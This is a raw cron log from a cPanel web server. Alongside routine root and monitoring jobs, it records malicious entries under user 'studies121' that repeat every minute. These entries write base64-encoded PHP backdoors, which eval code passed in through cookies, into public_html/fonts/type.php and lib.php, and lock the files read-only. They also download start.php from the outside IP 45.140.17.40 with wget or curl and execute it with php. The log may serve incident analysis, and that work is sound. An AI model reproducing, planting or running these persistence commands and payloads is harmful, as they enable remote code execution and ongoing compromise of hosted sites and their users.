Sep 22 00:38:01 ip-184-168-122-23 CROND[13381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:38:01 ip-184-168-122-23 CROND[13382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:38:01 ip-184-168-122-23 CROND[13383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:39:01 ip-184-168-122-23 CROND[13500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:39:01 ip-184-168-122-23 CROND[13501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:39:01 ip-184-168-122-23 CROND[13503]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 00:39:01 ip-184-168-122-23 CROND[13505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:39:01 ip-184-168-122-23 CROND[13504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:40:01 ip-184-168-122-23 CROND[13631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:40:01 ip-184-168-122-23 CROND[13632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:40:01 ip-184-168-122-23 CROND[13635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:40:01 ip-184-168-122-23 CROND[13639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:40:01 ip-184-168-122-23 CROND[13636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:40:01 ip-184-168-122-23 CROND[13637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:40:01 ip-184-168-122-23 CROND[13638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:40:01 ip-184-168-122-23 CROND[13643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 00:41:01 ip-184-168-122-23 CROND[13781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:41:01 ip-184-168-122-23 CROND[13785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:41:01 ip-184-168-122-23 CROND[13784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:41:01 ip-184-168-122-23 CROND[13789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:42:01 ip-184-168-122-23 CROND[13890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:42:01 ip-184-168-122-23 CROND[13891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:42:01 ip-184-168-122-23 CROND[13893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:42:01 ip-184-168-122-23 CROND[13894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:42:01 ip-184-168-122-23 CROND[13895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:43:01 ip-184-168-122-23 CROND[14013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:43:01 ip-184-168-122-23 CROND[14014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:43:01 ip-184-168-122-23 CROND[14016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:43:01 ip-184-168-122-23 CROND[14019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:44:01 ip-184-168-122-23 CROND[14173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:44:01 ip-184-168-122-23 CROND[14175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:44:01 ip-184-168-122-23 CROND[14179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:44:01 ip-184-168-122-23 CROND[14177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:44:01 ip-184-168-122-23 CROND[14178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:45:01 ip-184-168-122-23 CROND[14345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:45:01 ip-184-168-122-23 CROND[14346]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 22 00:45:01 ip-184-168-122-23 CROND[14350]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 00:45:01 ip-184-168-122-23 CROND[14352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 00:45:01 ip-184-168-122-23 CROND[14351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:45:01 ip-184-168-122-23 CROND[14349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:45:01 ip-184-168-122-23 CROND[14354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:46:01 ip-184-168-122-23 CROND[14586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:46:01 ip-184-168-122-23 CROND[14588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:46:01 ip-184-168-122-23 CROND[14590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:46:01 ip-184-168-122-23 CROND[14589]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 00:46:01 ip-184-168-122-23 CROND[14591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:46:01 ip-184-168-122-23 CROND[14593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:46:01 ip-184-168-122-23 CROND[14592]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 00:47:01 ip-184-168-122-23 CROND[14726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:47:01 ip-184-168-122-23 CROND[14727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:47:01 ip-184-168-122-23 CROND[14729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:47:01 ip-184-168-122-23 CROND[14728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:48:01 ip-184-168-122-23 CROND[14837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 00:48:01 ip-184-168-122-23 CROND[14838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:48:01 ip-184-168-122-23 CROND[14841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:48:01 ip-184-168-122-23 CROND[14843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:48:01 ip-184-168-122-23 CROND[14844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:49:01 ip-184-168-122-23 CROND[14943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 00:49:01 ip-184-168-122-23 CROND[14944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 00:49:01 ip-184-168-122-23 CROND[14945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 00:49:01 ip-184-168-122-23 CROND[14946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 00:50:01 ip-184-168-122-23 CROND[15054]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 00:50:01 ip-184-168-122-23 CROND[15059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
